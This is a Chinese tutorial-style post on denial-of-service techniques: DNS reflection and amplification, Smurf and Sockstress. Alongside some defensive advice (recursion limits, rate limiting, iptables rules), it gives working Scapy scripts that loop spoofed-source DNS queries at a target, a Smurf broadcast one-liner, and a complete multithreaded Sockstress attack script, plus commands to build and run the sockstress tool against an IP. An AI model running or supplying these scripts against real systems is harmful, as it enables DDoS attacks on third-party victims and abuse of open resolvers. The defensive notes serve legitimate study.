DNS放大攻击

DNS放大攻击

设置要使用的DNS服务器
nslookup
set q=ns
223.5.5.5

可能的限制
根据RFC1035中定义的DNS消息格式以及所能支持的内容长度,UDP包传输大小被限制为512个字节,超出的部分会被截断或丢弃或者使用TCP协议重传(端口仍为53)
https://www.rfc-editor.org/rfc/rfc1035.txt

突破上述限制,目的是为了扩充响应数据包大小的方式,这就是EDNS机制,具体的RFC2671中有提到扩展DNS机制,EDNS(Extension Mechanisms for DNS),并在其中推荐了一种传递包大小的EDNS0。在EDNS0中,扩展了DNS数据包的结构,增加了OPT RR字段。在此字段中包含了客户端能够处理的最大UDP报文大小信息。服务端在响应DNS请求时,解析并记录下客户端能够处理的最大UDP报文大小,并根据该大小生成响应的报文
https://www.rfc-editor.org/rfc/rfc2671.txt

dig @10.0.2.6 +bufsize=4096 +noanswer qq.com txt
dig any qq.com @202.101.172.35

实际环境场景
实际攻击中可以通过配置DNS服务器使UDP传输大小扩充至4096个字节,也就是放大倍数可以为60左右。ENDS机制的引入使DNS放大攻击所需倍数得到了保证。
如果只有前两个条件而我们不能找到大量反射源(大量开放查询服务的第三方DNS服务器),攻击仍很难立竿见影。这主要是因为如果反射源很少的话,受攻击方就可以通过黑名单机制屏蔽攻击源,丢弃攻击数据

攻击的条件:
1.能够伪造攻击源IP地址
2.选中的DNS服务器支持EDNS扩展机制,突破512的限制
3.需要一份开放了查询服务的第三方DNS服务器列表,通过端口扫描获得
4.DNS服务器需要开启递归查询功能

防御措施:
加固反射源
1.对开放查询服务的DNS服务器作出限制,只对可信任的区域主机提供解析服务
2.强制某些DNS查询类型(例如:txt,any)使用tcp传输,并对单个源IP的查询速率做限制
加固被攻击的目标
因为DNS放大攻击属于流量型攻击的一种,可以使用Anycast技术对攻击流量进行稀释和清洗

使用nmap确定一台服务器是否支持递归查询
nmap -sU -p53 --script=dns-recursion 223.5.5.5

DNS反射放大攻击

!/usr/bin/python

from scapy.all import *

targetIP = raw_input("Please enter the IP address for the target: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")

while True:
send(IP(dst=dnsIP,src=targetIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),verbose=0)

!/usr/bin/env python

coding:utf-8

from scapy import *
from scapy.all import *

a = IP(dst='223.5.5.5', src='10.0.1.82') # 10.0.1.87 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1, qr=0, opcode=0, tc=0, rd=1, qdcount=1, ancount=0,nscount=0, arcount=0)
c.qd = DNSQR(qname='www.qq.com', qtype=1, qclass=1)
p = a/b/c
send(p)

或者

!/usr/bin/env python

coding:utf-8

from scapy import *
from scapy.all import *

a = IP(dst='10.0.2.6', src='10.0.1.82') # 10.0.1.87 为伪造的源ip 10.0.2.6是自建的DNS服务器
b = UDP()
c = DNS(id=1, rd=1, qdcount=1)
c.qd = DNSQR(qname='www.baidu.com')
p = a/b/c
i = 0
while i < 5:
send(p)
i = i + 1
print("dns attack finished!")

简单搭建dns服务器
https://simpledns.plus/download

dns反射攻击测试,使用scapy交互式构造数据包

i=IP()
i.display()

[ IP ]###

version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\

i.dst="223.5.5.5"
i.display()

[ IP ]###

version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 10.0.1.92
dst= 223.5.5.5
\options\

u=UDP()
u.display()

[ UDP ]###

sport= domain
dport= domain
len= None
chksum= None

d=DNS()
d.display()

[ DNS ]###

id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 0
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None

d.rd=1
d.qdcount=1
d.display()

[ DNS ]###

id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None

q=DNSQR()
q.qname="qq.com"
q.qtype=255
q.display()

[ DNS Question Record ]###

qname= 'qq.com'
qtype= ALL
qclass= IN

d.qd=q
r=(i/u/d)
d.display()

[ DNS ]###

id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd
|###[ DNS Question Record ]###
| qname= 'qq.com'
| qtype= ALL
| qclass= IN
an= None
ns= None
ar= None

sr1(r)
Begin emission:
Finished sending 1 packets.
....*
Received 5 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x20 len=280 id=1 flags= frag=0 ttl=117 proto=udp chksum=0x554e src=223.5.5.5 dst=10.0.1.92 |<UDP sport=domain dport=domain len=260 chksum=0x0 |<DNS id=0 qr=1 opcode=QUERY aa=0 tc=0 rd=1 ra=1 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=11 nscount=0 arcount=0 qd=<DNSQR qname='qq.com.' qtype= ALL qclass=IN |> an=<DNSRR rrname='qq.com.' type=TXT rclass=IN ttl=355 rdlen=None rdata=['v=spf1 include:spf.mail.qq.com -all'] |<DNSRR rrname='qq.com.' typ e=A rclass=IN ttl=355 rdlen=None rdata=123.151.137.18 |<DNSRR rrname='qq.com.' type=A rclass=IN ttl=355 rdlen=None rdata=61.129.7.47 |<DNSRR rrname='qq.com. ' type=A rclass=IN ttl=355 rdlen=None rdata=183.3.226.35 |<DNSRRMX rrname='qq.com.' type=MX rclass=IN ttl=355 rdlen=None preference=20 exchange='mx2.qq.com.' |<DNSRRMX rrname='qq.com.' type=MX rclass=IN ttl=355 rdlen=None preference=10 exchange='mx3.qq.com.' |<DNSRRMX rrname='qq.com.' type=MX rclass=IN ttl=355 r dlen=None preference=30 exchange='mx1.qq.com.' |<DNSRR rrname='qq.com.' type=NS rclass=IN ttl=355 rdlen=None rdata='ns3.qq.com.' |<DNSRR rrname='qq.com.' ty pe=NS rclass=IN ttl=355 rdlen=None rdata='ns1.qq.com.' |<DNSRR rrname='qq.com.' type=NS rclass=IN ttl=355 rdlen=None rdata='ns4.qq.com.' |<DNSRR rrname='qq. com.' type=NS rclass=IN ttl=355 rdlen=None rdata='ns2.qq.com.' |>>>>>>>>>>> ns=None ar=None |>>>

抓包
tcpdump -i any port 53 -vv

互联网上有两种DNS服务器:
权威DNS服务器、递归DNS服务器;

权威服务器是DNS记录的真实存放地点,也是DNS攻击的主要目标,大型企业通常自己维护权威服务器,接受来自互联网的查询请求并响应。

递归DNS服务器可以理解为缓存DNS服务器,通常直接接受客户端的查询请求,并从缓存中查找反馈结果,如果缓存中没有查询结果,递归服务器就会按着DNS的层级架构逐级找到权威服务器,并从中查询结果

DNS反射攻击
攻击者通过伪造地址,假冒被攻击目标服务器的身份,向互联网上大量开放递归查询的DNS服务器发出请求,通过这些服务器的响应对攻击目标实现DoS和DDoS攻击;分布式的反射攻击也叫DrDoS攻击;很多DNS服务器为提供DNS查询的安全性使用了DNSSEC技术,对查询结果进行加密传输,但具有讽刺意味的是,对此类服务器反射攻击的效果更好,因为加密需要更多消耗服务器的性能和网络带宽。

简单搭建DNS服务器
https://simpledns.plus/download

EGTQQARGAIPMAUTZ

DNS攻击的5种方式
1.僵尸网络IP直接进行攻击
攻击形式:直接使用僵尸网络,不伪造源IP地址,在同一段时间内发送海量的DNS请求到目标域名服务器
缓解措施:通过使用基于硬件的网络设备或云服务解决方案可以过滤或限制网络流量,这种不会伪造源IP地址,直接封锁IP地址即可
2.IP欺骗
攻击形式:DNS默认依赖UDP协议,而由于UDP自身的特性导致,只需伪造数据包的 IP 地址,就可以轻易将源IP换成随机IP,在这种情况下,拦截 IP 地址是没有用的
缓解措施:遇到此种情况,可以使用大量的DNS缓存服务器来吸收大部分DNS流量,但是攻击者会进行预测判断会发送大量不存在的域名,致使DNS服务器本地缓存没有记录,不得不进行递归查询,所以此时我们还需要在DNS缓存服务器上限制来自不存在域名的DNS请求转发率,如果传入请求的总数量超过阈值,则要求客户端从 UDP 切换到 TCP。切换后,由于 TCP 需要三次握手,则可以避免源 IP 欺骗
3.反射DDoS攻击
攻击形式:攻击者不仅会欺骗源IP,连目的地IP也不会放过,来自正常DNS解析器的DNS回答会被发回给受害者(被欺骗的IP),而不是原攻击者的 IP,从而导致受害者受到DDoS攻击
缓解措施:限制同一IP地址的DNS请求/应答速率,因为DNS解析器会使用缓存,所以理论上来讲,请求转发率会十分低,一定的频率限制应当会有效

参考:
https://mp.weixin.qq.com/s/LuGn5NoMl5xthu-ZqYChnA
https://mp.weixin.qq.com/s/aEsyiX4pmJdBTtRV4jvC9g
https://github.com/ahhh/Reverse_DNS_Shell
https://github.com/bugscanteam/dnslog/
https://github.com/Wyc0/DNSLog
https://paper.seebug.org/60/
https://mp.weixin.qq.com/s/Urx18pdE0WeOGfnDdm9YMg
https://mp.weixin.qq.com/s/XGM5Q7KbpbV8XuY0rlG6qw
https://www.infoq.cn/article/99agzwzlewtvqjvgrtth

Smurf攻击
技术原理:利用icmp包,伪造源IP发广播包,广播局域网内的所有计算机回复广播包给伪造的IP,造成攻击对伪造IP的效果
对现在的操作系统几乎无效(不响应广播包)

Scapy
– i=IP()
– i.dst="1.1.1.255"
– p=ICMP()
– p.display()
– r=(i/p)
– send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)

参考:
https://www.shuzhiduo.com/A/Gkz1qQ16zR/
https://segmentfault.com/a/1190000020079901
https://www.cloudflare.com/zh-cn/learning/ddos/smurf-ddos-attack/
https://www.wangan.com/wikis/610
https://www.youtube.com/watch?v=zyZn_c54mgA

Sockstress攻击

python攻击测试代码

!/usr/bin/python

coding=utf-8

from scapy.all import*
from time import sleep
import thread
import random
import logging
import os
import signal
import sys
import signal

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
print "举例: ../sockstress.py 1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
sys.exit()

target = str(sys.argv[1])
dstport= int(sys.argv[2])
threads = int(sys.argv[3])

攻击函数

def sockstress(target,dstport) :
while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0)
except:
pass

停止攻击函数

def shutdown(signal,frame):
print "正在修复 iptables 规则"
os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
sys.exit()

添加iptables规则

os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
signal.signal(signal.SIGINT, shutdown)

多线程攻击

print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))

永远执行

while 0 == 0:
sleep(1)

下载攻击测试工具
git clone https://github.com/defuse/sockstress && cd sockstress/ && make

执行攻击
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
sudo ./sockstress 192.168.180.133:80 eth1 -p payloads/http -d 10

防御措施
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

参考:
https://0xfe.com.cn/post/36f1b3e1.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容